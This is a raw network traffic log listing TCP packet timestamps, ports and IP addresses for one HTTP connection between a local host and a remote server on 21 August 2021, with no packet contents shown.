Aug 21, 2021 21:46:32.953150034 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953170061 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953172922 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.953188896 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953212023 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953233004 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953237057 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.953255892 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953278065 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953286886 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.953306913 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953311920 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.953330994 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953353882 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953361988 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.953416109 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.979893923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.979950905 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.979989052 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980031013 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980092049 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980161905 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980207920 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980259895 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980308056 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980350971 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980391026 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980412006 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980460882 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980510950 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980551958 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980597973 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980648994 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980685949 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980707884 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980740070 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980760098 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980793953 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980813980 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980865955 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980890036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980911016 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980943918 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.980981112 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981004953 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981031895 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981040001 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981060028 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981064081 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981065035 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981069088 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981071949 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981076002 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981079102 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981082916 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981086016 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981090069 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981092930 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981096983 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981096983 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981100082 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981103897 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981106997 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981118917 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981141090 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981178045 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981194019 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981221914 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981225967 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981261015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981282949 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981307983 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981340885 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981375933 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981344938 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981415033 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981419086 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981421947 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981456041 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981478930 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981498957 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981533051 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981545925 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981553078 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981570005 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981607914 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981630087 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981652021 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981669903 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981669903 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981693983 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981714964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981749058 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981754065 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981787920 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.981789112 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981812000 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981833935 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981868982 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981900930 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981924057 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.981956959 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.982002020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.982023001 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.982060909 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.982094049 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.982115030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.982147932 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.982170105 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.982192039 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.982225895 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.982244015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.982321024 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.983671904 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.983709097 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.983712912 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.983716011 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.983720064 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.983722925 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.983726025 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.983728886 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.983731985 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.008719921 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.008749008 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.008771896 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.008793116 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.008807898 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.008826017 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.008841991 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.008860111 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.008879900 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.008898973 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.008913994 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.008920908 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.008941889 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.008963108 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.008987904 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009022951 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009037018 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009046078 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009068012 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009088039 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009104013 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009119987 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009135008 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009159088 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009202003 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009213924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009238005 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009258986 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009279966 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009282112 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009289980 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009301901 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009314060 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009325981 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009349108 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009368896 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009378910 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009388924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009411097 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009430885 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009443045 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009449959 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009452105 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009474039 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009495020 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009499073 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009522915 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009533882 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009543896 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009563923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009581089 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009586096 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009604931 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009622097 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009632111 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009674072 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009679079 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009697914 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009717941 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009738922 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009762049 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009783030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009808064 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009772062 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009830952 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009836912 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009840965 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009855032 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009876966 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009891033 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009901047 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.009911060 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009957075 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.009983063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.010006905 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.010027885 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.010049105 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.010070086 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.010090113 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.010114908 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.010128021 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.010138035 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.010158062 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.010169029 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.010178089 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.010179043 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.010199070 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.010221004 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.010241032 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.010261059 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.010263920 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.010277033 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.010286093 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.010308027 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.010322094 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.010329008 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.010350943 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.036737919 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.036823988 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.036854029 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.036875963 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.036884069 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.036900043 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.036907911 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.036921024 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.036942959 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.036963940 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.036978960 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.036989927 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037007093 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.037013054 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037034988 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037041903 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.037056923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037079096 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037098885 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037106037 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.037121058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037137032 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.037143946 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037167072 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037168026 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.037189007 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037210941 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037213087 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.037256956 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.037261963 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037282944 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037303925 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037326097 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037332058 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.037347078 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037369967 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037380934 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.037431002 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037439108 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.037455082 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037478924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037499905 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037512064 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.037520885 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037544012 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037552118 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.037565947 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037585020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037594080 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.037607908 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037621021 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.037633896 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037657976 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037678003 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037699938 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.037703991 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.037759066 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.106585979 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.133120060 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.133205891 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.133268118 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.133320093 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.133368015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.133384943 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.133408070 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.133410931 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.133445024 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.133496046 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.133517981 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.133560896 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.133598089 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.133605003 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.133619070 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.133658886 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.133661985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.133698940 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.133739948 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.133740902 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.133781910 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.133841991 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.133842945 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.133898020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.133945942 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.133975983 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134001970 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134025097 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134047985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134047985 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134072065 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134073019 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134093046 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134115934 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134115934 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134140015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134160995 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134176970 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134183884 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134207964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134217978 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134231091 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134252071 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134253025 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134274960 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134290934 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134300947 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134325027 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134346008 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134346962 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134371042 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134393930 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134411097 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134414911 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134438038 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134447098 CEST	49738	80	192.168.2.7	45.138.172.28
